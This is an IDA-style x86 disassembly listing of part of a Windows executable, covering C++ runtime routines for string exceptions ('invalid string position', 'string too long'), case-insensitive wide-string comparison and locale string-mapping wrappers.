		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_417AB0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_4046A3
		mov	eax, esi
		pop	esi
		retn	8
sub_422780	endp


; =============== S U B	R O U T	I N E =======================================



sub_4227AA	proc near		; CODE XREF: ___:004227D5p
					; sub_422858+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_404667
		mov	ecx, esi
		pop	esi
		jmp	sub_422BA6
sub_4227AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4227C5	proc near		; DATA XREF: ___:00424CA8o
					; ___:00424CB8o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4227D1
		mov	eax, offset dword_424290

locret_4227D1:				; CODE XREF: sub_4227C5+5j
		retn
sub_4227C5	endp

; ---------------------------------------------------------------------------


loc_4227D2:				; DATA XREF: ___:off_424CA4o
		push	esi
		mov	esi, ecx
		call	sub_4227AA
		test	byte ptr [esp+8], 1
		jz	short loc_4227E8
		push	esi
		call	sub_4182AF
		pop	ecx


loc_4227E8:				; CODE XREF: ___:004227DFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4227EE	proc near		; CODE XREF: sub_422863+29p
		mov	eax, offset loc_423122
		call	sub_418290
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_424CC0
		call	sub_422B1F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_424CB4
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4227EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42283C	proc near		; DATA XREF: ___:off_424CB4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_422858
		test	[esp+4+arg_0], 1
		jz	short loc_422852
		push	esi
		call	sub_4182AF
		pop	ecx


loc_422852:				; CODE XREF: sub_42283C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42283C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422858	proc near		; CODE XREF: sub_42283C+3p
					; DATA XREF: ___:0042502Co
		mov	dword ptr [ecx], offset	off_424CB4
		jmp	sub_4227AA
sub_422858	endp


; =============== S U B	R O U T	I N E =======================================



sub_422863	proc near		; CODE XREF: sub_404514+13p
					; sub_4046D8+Ep
		mov	eax, offset loc_423134
		call	sub_418290
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_422780
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4227EE
		push	offset dword_425028
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_422863	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4228A0	proc near		; CODE XREF: sub_4227EE+32p
					; sub_4228C0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_404514
		mov	eax, esi
		pop	esi
		retn	4
sub_4228A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228C0	proc near		; CODE XREF: sub_42298A+29p
		mov	eax, offset loc_423146
		call	sub_418290
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_424CC0
		call	sub_422B1F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4228C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_422908	proc near		; CODE XREF: sub_422972+7p
					; sub_4229CE+7p ...
		mov	eax, offset loc_423158
		call	sub_418290
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_422B5C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_422908	endp


; =============== S U B	R O U T	I N E =======================================



sub_42294B	proc near		; DATA XREF: ___:off_424CE0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_422967
		test	[esp+4+arg_0], 1
		jz	short loc_422961
		push	esi
		call	sub_4182AF
		pop	ecx


loc_422961:				; CODE XREF: sub_42294B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42294B	endp


; =============== S U B	R O U T	I N E =======================================



sub_422967	proc near		; CODE XREF: sub_42294B+3p
					; DATA XREF: ___:004250D4o
		mov	dword ptr [ecx], offset	off_424CE0
		jmp	sub_4227AA
sub_422967	endp


; =============== S U B	R O U T	I N E =======================================



sub_422972	proc near		; CODE XREF: sub_4229E6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_422908
		mov	dword ptr [esi], offset	off_424CB4
		mov	eax, esi
		pop	esi
		retn	4
sub_422972	endp


; =============== S U B	R O U T	I N E =======================================



sub_42298A	proc near		; CODE XREF: sub_404464+15p
					; sub_4044BD+15p ...
		mov	eax, offset loc_42316A
		call	sub_418290
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_422780
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4228C0
		push	offset dword_4250D0
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_424CE0
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_42298A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4229CE	proc near		; CODE XREF: sub_4229E6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_422908
		mov	dword ptr [esi], offset	off_424CE0
		mov	eax, esi
		pop	esi
		retn	4
sub_4229CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4229E6	proc near		; DATA XREF: ___:00424CACo

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_422908
		push	offset dword_425110
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger


loc_422A04:				; DATA XREF: ___:00424CE8o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4229CE
		push	offset dword_4250D0
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger


loc_422A22:				; DATA XREF: ___:00424CBCo
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_422972
		push	offset dword_425028
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_4229E6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422A40	proc near
		nop
		jmp	near ptr 71B2ACCBh
sub_422A40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_422A46	proc near		; CODE XREF: sub_403DF6+5Ep
					; sub_4053D5+159p
		jmp	near ptr 71AB1B7Bh
sub_422A46	endp

; ---------------------------------------------------------------------------
		db 28h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_422A4C	proc near		; CODE XREF: sub_417EFC+23p
					; sub_4181A0+13p
		jmp	near ptr 2810000h
sub_422A4C	endp

; ---------------------------------------------------------------------------
		db 39h

; =============== S U B	R O U T	I N E =======================================



sub_422A52	proc near		; CODE XREF: sub_409392+E2p
					; sub_409392+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4CDA48, 0
		push	ebx
		jnz	short loc_422A98
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_422A64:				; CODE XREF: sub_422A52+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_422A76
		cmp	bx, 41h
		jb	short loc_422A76
		add	ebx, 20h


loc_422A76:				; CODE XREF: sub_422A52+19j
					; sub_422A52+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_422A88
		cmp	ax, 41h
		jb	short loc_422A88
		add	eax, 20h


loc_422A88:				; CODE XREF: sub_422A52+2Bj
					; sub_422A52+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_422AC8
		cmp	bx, ax
		jz	short loc_422A64
		jmp	short loc_422AC8
; ---------------------------------------------------------------------------


loc_422A98:				; CODE XREF: sub_422A52+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_422AA2:				; CODE XREF: sub_422A52+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_422C03
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_422C03
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_422AC6
		cmp	bx, ax
		jz	short loc_422AA2


loc_422AC6:				; CODE XREF: sub_422A52+6Dj
		pop	edi
		pop	esi


loc_422AC8:				; CODE XREF: sub_422A52+3Dj
					; sub_422A52+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_422A52	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AD2	proc near		; CODE XREF: ___:00422AEAp
		mov	dword ptr [ecx], offset	off_424D00
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_422AE6
		push	ecx
		call	sub_417C3B
		pop	ecx

locret_422AE6:				; CODE XREF: sub_422AD2+Bj
		retn
sub_422AD2	endp

; ---------------------------------------------------------------------------


loc_422AE7:				; DATA XREF: ___:off_424D00o
		push	esi
		mov	esi, ecx
		call	sub_422AD2
		test	byte ptr [esp+8], 1
		jz	short loc_422AFD
		push	esi
		call	sub_4182AF
		pop	ecx


loc_422AFD:				; CODE XREF: ___:00422AF4j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_422B03:				; DATA XREF: ___:off_424D08o
		push	esi
		mov	esi, ecx
		call	sub_422BA6
		test	byte ptr [esp+8], 1
		jz	short loc_422B19
		push	esi
		call	sub_4182AF
		pop	ecx


loc_422B19:				; CODE XREF: ___:00422B10j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_422B1F	proc near		; CODE XREF: sub_4227EE+1Dp
					; sub_4228C0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_424D08
		push	dword ptr [edi]
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_422B4E
		push	dword ptr [edi]
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx


loc_422B4E:				; CODE XREF: sub_422B1F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_422B1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B5C	proc near		; CODE XREF: sub_422908+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_424D08
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_422B99
		push	dword ptr [edi+4]
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_422B9F
		push	dword ptr [edi+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx
		jmp	short loc_422B9F
; ---------------------------------------------------------------------------


loc_422B99:				; CODE XREF: sub_422B5C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_422B9F:				; CODE XREF: sub_422B5C+2Ej
					; sub_422B5C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_422B5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422BA6	proc near		; CODE XREF: sub_4227AA+16j
					; ___:00422B06p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_424D08
		jz	short locret_422BBB
		push	dword ptr [ecx+4]
		call	sub_4182AF
		pop	ecx

locret_422BBB:				; CODE XREF: sub_422BA6+Aj
		retn
sub_422BA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_422BBC	proc near		; DATA XREF: ___:00424D0Co
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_422BC8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_422BC8:				; CODE XREF: sub_422BBC+5j
		retn
sub_422BBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422BC9	proc near		; CODE XREF: sub_422863+37p
					; sub_42298A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_424D28
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 2880000h
		pop	edi
		pop	esi
		leave
		retn	8
sub_422BC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C03	proc near		; CODE XREF: sub_422A52+56p
					; sub_422A52+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_422C15
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C15:				; CODE XREF: sub_422C03+Bj
		cmp	dword_4CDA48, 0
		jnz	short loc_422C2F
		cmp	ax, 41h
		jb	short locret_422C76
		cmp	ax, 5Ah
		ja	short locret_422C76
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C2F:				; CODE XREF: sub_422C03+19j
		cmp	ax, 100h
		jnb	short loc_422C49
		push	1
		push	eax
		call	sub_422EB1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422C49
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C49:				; CODE XREF: sub_422C03+30j
					; sub_422C03+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4CDA48
		call	sub_422C78
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_422C76
		mov	ax, [ebp+var_2]

locret_422C76:				; CODE XREF: sub_422C03+1Fj
					; sub_422C03+25j ...
		leave
		retn
sub_422C03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C78	proc near		; CODE XREF: sub_422C03+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424D48
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4CDCA4, esi
		jnz	short loc_422CEE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4248D8
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 28A0000h
		test	eax, eax
		jz	short loc_422CCC
		mov	dword_4CDCA4, ebx
		jmp	short loc_422CEE
; ---------------------------------------------------------------------------


loc_422CCC:				; CODE XREF: sub_422C78+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_436EF4
		push	edi
		push	esi
		nop
		call	near ptr 2890000h
		test	eax, eax
		jz	loc_422E6D
		mov	dword_4CDCA4, 2


loc_422CEE:				; CODE XREF: sub_422C78+2Ej
					; sub_422C78+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_422D03
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_422E81
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_422D03:				; CODE XREF: sub_422C78+79j
		mov	eax, dword_4CDCA4
		cmp	eax, 1
		jnz	short loc_422D2A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 28A0000h
		jmp	loc_422E6F
; ---------------------------------------------------------------------------


loc_422D2A:				; CODE XREF: sub_422C78+93j
		cmp	eax, 2
		jnz	loc_422E6D
		cmp	[ebp+arg_18], esi
		jnz	short loc_422D40
		mov	eax, dword_4CDA58
		mov	[ebp+arg_18], eax


loc_422D40:				; CODE XREF: sub_422C78+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 27D0000h
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_422E6D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_422D86
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_422D86:				; CODE XREF: sub_422C78+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_422E6D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 27D0000h
		test	eax, eax
		jz	loc_422E6D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2890000h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_422E6D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422E09
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_422E09:				; CODE XREF: sub_422C78+17Dj
		cmp	ebx, esi
		jz	short loc_422E6D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2890000h
		nop
		test	eax, eax
		jz	short loc_422E6D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422E47
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_422E69
		cmp	eax, edi
		jl	short loc_422E38
		mov	eax, edi


loc_422E38:				; CODE XREF: sub_422C78+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_418C10
		add	esp, 0Ch
		jmp	short loc_422E69
; ---------------------------------------------------------------------------


loc_422E47:				; CODE XREF: sub_422C78+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_422E50
		push	esi
		push	esi
		jmp	short loc_422E56
; ---------------------------------------------------------------------------


loc_422E50:				; CODE XREF: sub_422C78+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_422E56:				; CODE XREF: sub_422C78+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2650000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_422E6D


loc_422E69:				; CODE XREF: sub_422C78+1B8j
					; sub_422C78+1CDj
		mov	eax, edi
		jmp	short loc_422E6F
; ---------------------------------------------------------------------------


loc_422E6D:				; CODE XREF: sub_422C78+66j
					; sub_422C78+B5j ...
		xor	eax, eax


loc_422E6F:				; CODE XREF: sub_422C78+ADj
					; sub_422C78+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422C78	endp


; =============== S U B	R O U T	I N E =======================================



sub_422E81	proc near		; CODE XREF: sub_422C78+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_422EA0


loc_422E91:				; CODE XREF: sub_422E81+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_422EA0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_422E91


loc_422EA0:				; CODE XREF: sub_422E81+Ej
					; sub_422E81+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_422EAE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_422EAE:				; CODE XREF: sub_422E81+24j
		mov	eax, edx
		retn
sub_422E81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422EB1	proc near		; CODE XREF: sub_422C03+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_422EF1
		cmp	[ebp+arg_0], 100h
		jnb	short loc_422ED5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_433C74
		mov	ax, [ecx+eax*2]
		jmp	short loc_422EF8
; ---------------------------------------------------------------------------


loc_422ED5:				; CODE XREF: sub_422EB1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_422F03
		add	esp, 18h
		test	eax, eax
		jnz	short loc_422EF5


loc_422EF1:				; CODE XREF: sub_422EB1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_422EF5:				; CODE XREF: sub_422EB1+3Ej
		mov	eax, [ebp+var_4]


loc_422EF8:				; CODE XREF: sub_422EB1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_422EB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422F03	proc near		; CODE XREF: sub_422EB1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424D60
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4CDCA8
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_422F72
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4248D8
		push	esi
		call	near ptr 2610000h
		nop
		test	eax, eax
		jz	short loc_422F50
		mov	eax, esi
		jmp	short loc_422F6D
; ---------------------------------------------------------------------------


loc_422F50:				; CODE XREF: sub_422F03+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_436EF4
		push	esi
		push	edi
		nop
		call	near ptr 2610764h
		test	eax, eax
		jz	loc_4230B4
		push	2
		pop	eax


loc_422F6D:				; CODE XREF: sub_422F03+4Bj
		mov	dword_4CDCA8, eax


loc_422F72:				; CODE XREF: sub_422F03+2Fj
		cmp	eax, 1
		jnz	short loc_422F8E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2610000h
		jmp	loc_4230B6
; ---------------------------------------------------------------------------


loc_422F8E:				; CODE XREF: sub_422F03+72j
		cmp	eax, 2
		jnz	loc_4230B4
		cmp	[ebp+arg_10], edi
		jnz	short loc_422FA4
		mov	eax, dword_4CDA58
		mov	[ebp+arg_10], eax


loc_422FA4:				; CODE XREF: sub_422F03+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 27D0000h
		nop
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_4230B4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_423002
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_423002:				; CODE XREF: sub_422F03+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_4230B4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 27D0000h
		test	eax, eax
		jz	loc_4230B4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_423057
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_423057:				; CODE XREF: sub_422F03+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_4230B4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_42306B
		mov	eax, dword_4CDA48


loc_42306B:				; CODE XREF: sub_422F03+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2610764h
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_4230B4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_4230B4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_4182C0
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_4230B6
; ---------------------------------------------------------------------------


loc_4230B4:				; CODE XREF: sub_422F03+61j
					; sub_422F03+8Ej ...
		xor	eax, eax


loc_4230B6:				; CODE XREF: sub_422F03+86j
